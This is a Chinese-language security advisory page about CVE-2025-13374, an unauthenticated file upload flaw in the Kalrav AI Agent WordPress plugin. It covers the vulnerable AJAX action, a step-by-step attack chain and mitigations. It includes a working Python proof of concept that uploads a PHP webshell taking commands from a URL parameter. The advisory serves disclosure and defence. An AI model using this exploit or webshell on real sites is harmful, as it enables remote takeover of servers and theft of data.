IPBUF安全漏洞报告
English
CVE-2025-13374 CVSS 9.8 严重

CVE-2025-13374 WordPress Kalrav AI Agent插件任意文件上传漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2025-13374
漏洞类型
任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Kalrav AI Agent plugin for WordPress

相关标签

任意文件上传RCEWordPress插件无认证利用Kalrav AI AgentCVE-2025-13374远程代码执行AJAX漏洞

漏洞概述

CVE-2025-13374是WordPress Kalrav AI Agent插件中的一个严重安全漏洞。该插件用于为WordPress网站提供AI代理功能,但在2.3.3及以下所有版本中,kalrav_upload_file AJAX动作存在任意文件上传漏洞。由于缺少文件类型验证,攻击者可以在未经认证的情况下向受影响网站的服务器上传任意文件。这些恶意上传的文件可能包含webshell或其他恶意代码,从而实现远程代码执行(RCE),完全控制受影响的WordPress站点。此漏洞的CVSS评分高达9.8,属于严重级别,对互联网上的WordPress网站构成重大威胁。建议所有使用该插件的用户立即采取防护措施。

技术细节

该漏洞存在于WordPress Kalrav AI Agent插件的AJAX处理逻辑中。具体来说,插件的kalrav_upload_file AJAX动作(位于kalrav-ai-agent.php#L967附近)缺少对上传文件类型的验证。正常情况下,文件上传功能应该验证文件的MIME类型、扩展名和内容,以防止恶意文件的上传。然而该插件直接接受用户上传的文件而没有进行任何安全检查。攻击者可以利用此漏洞上传包含PHP代码的webshell文件(如.php文件),然后通过访问该文件在服务器上执行任意命令。由于该AJAX端点不需要任何认证(未使用wp_ajax_nopriv_或权限检查),任何互联网用户都可以触发此漏洞。这种无认证的文件上传漏洞是Web应用中最危险的安全缺陷之一,因为它允许攻击者完全绕过身份验证机制。

攻击链分析

STEP 1
1
探测目标:识别运行Kalrav AI Agent插件版本≤2.3.3的WordPress站点
STEP 2
2
构造恶意文件:创建包含PHP代码的webshell文件(如shell.php)
STEP 3
3
发送上传请求:向wp-admin/admin-ajax.php的kalrav_upload_file动作发送POST请求,无需任何认证
STEP 4
4
绕过验证:利用插件缺少文件类型验证的缺陷,上传.php或其他恶意文件
STEP 5
5
获取webshell路径:根据服务器响应或默认上传目录定位上传的webshell
STEP 6
6
执行代码:访问上传的webshell,通过cmd参数执行任意系统命令,实现RCE
STEP 7
7
持久化控制:在服务器上部署后门、建立持久化连接或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13374 PoC - Kalrav AI Agent Plugin Arbitrary File Upload Note: This PoC is for educational and security research purposes only. """ import requests import sys def upload_webshell(target_url, webshell_content): """ Upload a webshell to target WordPress site with Kalrav AI Agent plugin. """ # Prepare the webshell file files = { 'file': ('shell.php', webshell_content, 'application/x-php') } # Target the AJAX endpoint data = { 'action': 'kalrav_upload_file' } try: print(f'[*] Targeting: {target_url}') print(f'[*] Uploading webshell...') # Send the upload request (no authentication required) response = requests.post( f'{target_url}/wp-admin/admin-ajax.php', data=data, files=files, timeout=30 ) if response.status_code == 200: print('[+] Upload request sent successfully') print('[+] Check if shell was uploaded to wp-content/uploads/ or similar directory') print('[+] If successful, access the shell to execute commands') else: print(f'[-] Unexpected response: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python3 {sys.argv[0]} <target_url>') print('Example: python3 CVE-2025-13374.py http://example.com') sys.exit(1) target = sys.argv[1].rstrip('/') webshell = '<?php system($_GET["cmd"]); ?>' # Simple command execution shell upload_webshell(target, webshell)

影响范围

Kalrav AI Agent plugin for WordPress <= 2.3.3

防御指南

临时缓解措施
临时缓解措施:1) 在Web服务器配置中禁止uploads目录下的PHP文件执行;2) 使用ModSecurity等WAF规则阻止包含危险文件扩展名的上传请求;3) 临时禁用Kalrav AI Agent插件直到安全更新可用;4) 加强对wp-content/uploads/目录的监控,及时发现异常文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表